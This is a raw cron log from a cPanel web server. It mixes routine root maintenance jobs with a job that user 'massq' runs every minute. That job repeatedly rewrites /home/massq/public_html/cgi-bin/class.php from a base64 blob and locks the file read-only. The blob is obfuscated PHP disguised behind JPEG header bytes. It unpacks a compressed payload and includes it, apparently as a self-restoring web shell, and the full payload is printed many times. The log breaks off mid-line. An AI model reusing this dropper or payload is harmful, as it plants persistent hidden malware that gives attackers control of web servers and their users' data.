"/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:30:01 server CROND[6021]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 02:30:01 server CROND[6022]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 02:30:01 server CROND[6023]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 02:31:01 server CROND[6135]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:32:01 server CROND[6187]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:33:01 server CROND[6351]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:34:01 server CROND[6599]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:35:01 server CROND[6667]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 02:35:01 server CROND[6673]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  9 02:35:01 server CROND[6674]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr  9 02:35:01 server CROND[6675]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:35:01 server CROND[6676]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 02:36:01 server CROND[6785]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:37:01 server CROND[6841]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:38:01 server CROND[7013]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:39:01 server CROND[7066]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:39:01 server CROND[7067]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr  9 02:40:01 server CROND[7129]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  9 02:40:01 server CROND[7130]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:40:01 server CROND[7131]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  9 02:40:01 server CROND[7132]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  9 02:41:01 server CROND[7240]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:42:01 server CROND[7286]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  9 02:42:01 server CROND[7287]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  9 02:43:01 server CROND[7432]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKS